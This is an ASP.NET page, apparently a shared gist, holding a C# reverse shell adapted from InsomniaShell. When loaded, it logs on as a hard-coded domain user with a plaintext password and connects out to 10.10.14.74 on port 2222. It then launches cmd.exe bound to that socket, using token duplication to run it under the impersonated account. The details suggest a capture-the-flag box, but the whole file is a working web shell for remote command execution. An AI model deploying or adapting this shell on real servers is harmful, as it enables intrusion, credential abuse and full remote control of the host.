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April 28, 2022 11:48
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<%@ Page Language="C#" %> | |
<%@ Import Namespace="System.Runtime.InteropServices" %> | |
<%@ Import Namespace="System.Net" %> | |
<%@ Import Namespace="System.Net.Sockets" %> | |
<%@ Import Namespace="System.Security.Principal" %> | |
<%@ Import Namespace="System.Data.SqlClient" %> | |
<%@ Import Namespace = "System.Web" %> | |
<%@ Import Namespace = "System.Web.Security" %> | |
<%@ Import Namespace = "System.Security.Principal" %> | |
<%@ Import Namespace = "System.Runtime.InteropServices" %> | |
<script runat="server"> | |
public const int LOGON32_LOGON_INTERACTIVE = 2; | |
public const int LOGON32_PROVIDER_DEFAULT = 0; | |
WindowsImpersonationContext impersonationContext; | |
[DllImport("advapi32.dll")] | |
public static extern int LogonUserA(String lpszUserName, | |
String lpszDomain, | |
String lpszPassword, | |
int dwLogonType, | |
int dwLogonProvider, | |
ref IntPtr phToken); | |
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)] | |
public static extern int DuplicateToken(IntPtr hToken, | |
int impersonationLevel, | |
ref IntPtr hNewToken); | |
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)] | |
public static extern bool RevertToSelf(); | |
//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/ | |
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip | |
protected void Page_Load(object sender, EventArgs e) | |
{ | |
String host = Request["LHOST"]; | |
int port = Convert.ToInt32(Request["LPORT"]); | |
if(impersonateValidUser("BeatriceMill", "windcorp", "!!!!ilovegood17")) | |
{ | |
CallbackShell("10.10.14.74", 2222); | |
} | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct STARTUPINFO | |
{ | |
public int cb; | |
public String lpReserved; | |
public String lpDesktop; | |
public String lpTitle; | |
public uint dwX; | |
public uint dwY; | |
public uint dwXSize; | |
public uint dwYSize; | |
public uint dwXCountChars; | |
public uint dwYCountChars; | |
public uint dwFillAttribute; | |
public uint dwFlags; | |
public short wShowWindow; | |
public short cbReserved2; | |
public IntPtr lpReserved2; | |
public IntPtr hStdInput; | |
public IntPtr hStdOutput; | |
public IntPtr hStdError; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct PROCESS_INFORMATION | |
{ | |
public IntPtr hProcess; | |
public IntPtr hThread; | |
public uint dwProcessId; | |
public uint dwThreadId; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct SECURITY_ATTRIBUTES | |
{ | |
public int Length; | |
public IntPtr lpSecurityDescriptor; | |
public bool bInheritHandle; | |
} | |
[DllImport("kernel32.dll")] | |
static extern bool CreateProcess(string lpApplicationName, | |
string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, | |
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, | |
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, | |
[In] ref STARTUPINFO lpStartupInfo, | |
out PROCESS_INFORMATION lpProcessInformation); | |
public static uint INFINITE = 0xFFFFFFFF; | |
[DllImport("kernel32", SetLastError = true, ExactSpelling = true)] | |
internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds); | |
internal struct sockaddr_in | |
{ | |
public short sin_family; | |
public short sin_port; | |
public int sin_addr; | |
public long sin_zero; | |
} | |
[DllImport("kernel32.dll")] | |
static extern IntPtr GetStdHandle(int nStdHandle); | |
[DllImport("kernel32.dll")] | |
static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle); | |
public const int STD_INPUT_HANDLE = -10; | |
public const int STD_OUTPUT_HANDLE = -11; | |
public const int STD_ERROR_HANDLE = -12; | |
[DllImport("kernel32")] | |
static extern bool AllocConsole(); | |
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] | |
internal static extern IntPtr WSASocket([In] AddressFamily addressFamily, | |
[In] SocketType socketType, | |
[In] ProtocolType protocolType, | |
[In] IntPtr protocolInfo, | |
[In] uint group, | |
[In] int flags | |
); | |
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] | |
internal static extern int inet_addr([In] string cp); | |
[DllImport("ws2_32.dll")] | |
private static extern string inet_ntoa(uint ip); | |
[DllImport("ws2_32.dll")] | |
private static extern uint htonl(uint ip); | |
[DllImport("ws2_32.dll")] | |
private static extern uint ntohl(uint ip); | |
[DllImport("ws2_32.dll")] | |
private static extern ushort htons(ushort ip); | |
[DllImport("ws2_32.dll")] | |
private static extern ushort ntohs(ushort ip); | |
[DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)] | |
internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize); | |
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] | |
internal static extern int send( | |
[In] IntPtr socketHandle, | |
[In] byte[] pinnedBuffer, | |
[In] int len, | |
[In] SocketFlags socketFlags | |
); | |
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] | |
internal static extern int recv( | |
[In] IntPtr socketHandle, | |
[In] IntPtr pinnedBuffer, | |
[In] int len, | |
[In] SocketFlags socketFlags | |
); | |
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] | |
internal static extern int closesocket( | |
[In] IntPtr socketHandle | |
); | |
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] | |
internal static extern IntPtr accept( | |
[In] IntPtr socketHandle, | |
[In, Out] ref sockaddr_in socketAddress, | |
[In, Out] ref int socketAddressSize | |
); | |
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] | |
internal static extern int listen( | |
[In] IntPtr socketHandle, | |
[In] int backlog | |
); | |
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] | |
internal static extern int bind( | |
[In] IntPtr socketHandle, | |
[In] ref sockaddr_in socketAddress, | |
[In] int socketAddressSize | |
); | |
public enum TOKEN_INFORMATION_CLASS | |
{ | |
TokenUser = 1, | |
TokenGroups, | |
TokenPrivileges, | |
TokenOwner, | |
TokenPrimaryGroup, | |
TokenDefaultDacl, | |
TokenSource, | |
TokenType, | |
TokenImpersonationLevel, | |
TokenStatistics, | |
TokenRestrictedSids, | |
TokenSessionId | |
} | |
[DllImport("advapi32", CharSet = CharSet.Auto)] | |
public static extern bool GetTokenInformation( | |
IntPtr hToken, | |
TOKEN_INFORMATION_CLASS tokenInfoClass, | |
IntPtr TokenInformation, | |
int tokeInfoLength, | |
ref int reqLength); | |
public enum TOKEN_TYPE | |
{ | |
TokenPrimary = 1, | |
TokenImpersonation | |
} | |
public enum SECURITY_IMPERSONATION_LEVEL | |
{ | |
SecurityAnonymous, | |
SecurityIdentification, | |
SecurityImpersonation, | |
SecurityDelegation | |
} | |
[DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] | |
public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, | |
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, | |
String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); | |
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")] | |
public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle); | |
const int ERROR_NO_MORE_ITEMS = 259; | |
[StructLayout(LayoutKind.Sequential)] | |
struct TOKEN_USER | |
{ | |
public _SID_AND_ATTRIBUTES User; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct _SID_AND_ATTRIBUTES | |
{ | |
public IntPtr Sid; | |
public int Attributes; | |
} | |
[DllImport("advapi32", CharSet = CharSet.Auto)] | |
public extern static bool LookupAccountSid | |
( | |
[In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, | |
IntPtr pSid, | |
StringBuilder Account, | |
ref int cbName, | |
StringBuilder DomainName, | |
ref int cbDomainName, | |
ref int peUse | |
); | |
[DllImport("advapi32", CharSet = CharSet.Auto)] | |
public extern static bool ConvertSidToStringSid( | |
IntPtr pSID, | |
[In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool CloseHandle( | |
IntPtr hHandle); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId); | |
[Flags] | |
public enum ProcessAccessFlags : uint | |
{ | |
All = 0x001F0FFF, | |
Terminate = 0x00000001, | |
CreateThread = 0x00000002, | |
VMOperation = 0x00000008, | |
VMRead = 0x00000010, | |
VMWrite = 0x00000020, | |
DupHandle = 0x00000040, | |
SetInformation = 0x00000200, | |
QueryInformation = 0x00000400, | |
Synchronize = 0x00100000 | |
} | |
[DllImport("kernel32.dll")] | |
static extern IntPtr GetCurrentProcess(); | |
[DllImport("kernel32.dll")] | |
extern static IntPtr GetCurrentThread(); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
[return: MarshalAs(UnmanagedType.Bool)] | |
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, | |
IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, | |
uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); | |
[DllImport("psapi.dll", SetLastError = true)] | |
public static extern bool EnumProcessModules(IntPtr hProcess, | |
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule, | |
uint cb, | |
[MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded); | |
[DllImport("psapi.dll")] | |
static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize); | |
public const uint PIPE_ACCESS_OUTBOUND = 0x00000002; | |
public const uint PIPE_ACCESS_DUPLEX = 0x00000003; | |
public const uint PIPE_ACCESS_INBOUND = 0x00000001; | |
public const uint PIPE_WAIT = 0x00000000; | |
public const uint PIPE_NOWAIT = 0x00000001; | |
public const uint PIPE_READMODE_BYTE = 0x00000000; | |
public const uint PIPE_READMODE_MESSAGE = 0x00000002; | |
public const uint PIPE_TYPE_BYTE = 0x00000000; | |
public const uint PIPE_TYPE_MESSAGE = 0x00000004; | |
public const uint PIPE_CLIENT_END = 0x00000000; | |
public const uint PIPE_SERVER_END = 0x00000001; | |
public const uint PIPE_UNLIMITED_INSTANCES = 255; | |
public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff; | |
public const uint NMPWAIT_NOWAIT = 0x00000001; | |
public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000; | |
public const uint GENERIC_READ = (0x80000000); | |
public const uint GENERIC_WRITE = (0x40000000); | |
public const uint GENERIC_EXECUTE = (0x20000000); | |
public const uint GENERIC_ALL = (0x10000000); | |
public const uint CREATE_NEW = 1; | |
public const uint CREATE_ALWAYS = 2; | |
public const uint OPEN_EXISTING = 3; | |
public const uint OPEN_ALWAYS = 4; | |
public const uint TRUNCATE_EXISTING = 5; | |
public const int INVALID_HANDLE_VALUE = -1; | |
public const ulong ERROR_SUCCESS = 0; | |
public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2; | |
public const ulong ERROR_PIPE_BUSY = 231; | |
public const ulong ERROR_NO_DATA = 232; | |
public const ulong ERROR_PIPE_NOT_CONNECTED = 233; | |
public const ulong ERROR_MORE_DATA = 234; | |
public const ulong ERROR_PIPE_CONNECTED = 535; | |
public const ulong ERROR_PIPE_LISTENING = 536; | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr CreateNamedPipe( | |
String lpName, | |
uint dwOpenMode, | |
uint dwPipeMode, | |
uint nMaxInstances, | |
uint nOutBufferSize, | |
uint nInBufferSize, | |
uint nDefaultTimeOut, | |
IntPtr pipeSecurityDescriptor | |
); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool ConnectNamedPipe( | |
IntPtr hHandle, | |
uint lpOverlapped | |
); | |
[DllImport("Advapi32.dll", SetLastError = true)] | |
public static extern bool ImpersonateNamedPipeClient( | |
IntPtr hHandle); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool GetNamedPipeHandleState( | |
IntPtr hHandle, | |
IntPtr lpState, | |
IntPtr lpCurInstances, | |
IntPtr lpMaxCollectionCount, | |
IntPtr lpCollectDataTimeout, | |
StringBuilder lpUserName, | |
int nMaxUserNameSize | |
); | |
protected void CallbackShell(string server, int port) | |
{ | |
string request = "Spawn Shell...\n"; | |
Byte[] bytesSent = Encoding.ASCII.GetBytes(request); | |
IntPtr oursocket = IntPtr.Zero; | |
sockaddr_in socketinfo; | |
oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0); | |
socketinfo = new sockaddr_in(); | |
socketinfo.sin_family = (short) AddressFamily.InterNetwork; | |
socketinfo.sin_addr = inet_addr(server); | |
socketinfo.sin_port = (short) htons((ushort)port); | |
connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo)); | |
send(oursocket, bytesSent, request.Length, 0); | |
SpawnProcessAsPriv(oursocket); | |
closesocket(oursocket); | |
} | |
protected void SpawnProcess(IntPtr oursocket) | |
{ | |
bool retValue; | |
string Application = Environment.GetEnvironmentVariable("comspec"); | |
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); | |
STARTUPINFO sInfo = new STARTUPINFO(); | |
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); | |
pSec.Length = Marshal.SizeOf(pSec); | |
sInfo.dwFlags = 0x00000101; | |
sInfo.hStdInput = oursocket; | |
sInfo.hStdOutput = oursocket; | |
sInfo.hStdError = oursocket; | |
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); | |
WaitForSingleObject(pInfo.hProcess, (int)INFINITE); | |
} | |
protected void SpawnProcessAsPriv(IntPtr oursocket) | |
{ | |
bool retValue; | |
string Application = Environment.GetEnvironmentVariable("comspec"); | |
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); | |
STARTUPINFO sInfo = new STARTUPINFO(); | |
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); | |
IntPtr Token = new IntPtr(0); | |
IntPtr DupedToken = new IntPtr(0); | |
bool ret; | |
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); | |
sa.bInheritHandle = false; | |
sa.Length = Marshal.SizeOf(sa); | |
sa.lpSecurityDescriptor = (IntPtr)0; | |
Token = WindowsIdentity.GetCurrent().Token; | |
const uint GENERIC_ALL = 0x10000000; | |
const int SecurityImpersonation = 2; | |
const int TokenType = 1; | |
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken); | |
pSec.Length = Marshal.SizeOf(pSec); | |
sInfo.dwFlags = 0x00000101; | |
IntPtr DupeToken = new IntPtr(0); | |
sInfo.hStdInput = oursocket; | |
sInfo.hStdOutput = oursocket; | |
sInfo.hStdError = oursocket; | |
if (DupedToken == IntPtr.Zero) | |
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); | |
else | |
retValue = CreateProcessAsUser(DupedToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); | |
WaitForSingleObject(pInfo.hProcess, (int)INFINITE); | |
CloseHandle(DupedToken); | |
} | |
private bool impersonateValidUser(String userName, String domain, String password) | |
{ | |
WindowsIdentity tempWindowsIdentity; | |
IntPtr token = IntPtr.Zero; | |
IntPtr tokenDuplicate = IntPtr.Zero; | |
if(RevertToSelf()) | |
{ | |
if(LogonUserA(userName, domain, password, LOGON32_LOGON_INTERACTIVE, | |
LOGON32_PROVIDER_DEFAULT, ref token)!= 0) | |
{ | |
if(DuplicateToken(token, 2, ref tokenDuplicate)!= 0) | |
{ | |
tempWindowsIdentity = new WindowsIdentity(tokenDuplicate); | |
impersonationContext = tempWindowsIdentity.Impersonate(); | |
if (impersonationContext != null) | |
{ | |
CloseHandle(token); | |
CloseHandle(tokenDuplicate); | |
return true; | |
} | |
} | |
} | |
} | |
if(token!= IntPtr.Zero) | |
CloseHandle(token); | |
if(tokenDuplicate!=IntPtr.Zero) | |
CloseHandle(tokenDuplicate); | |
return false; | |
} | |
private void undoImpersonation() | |
{ | |
impersonationContext.Undo(); | |
} | |
</script> |
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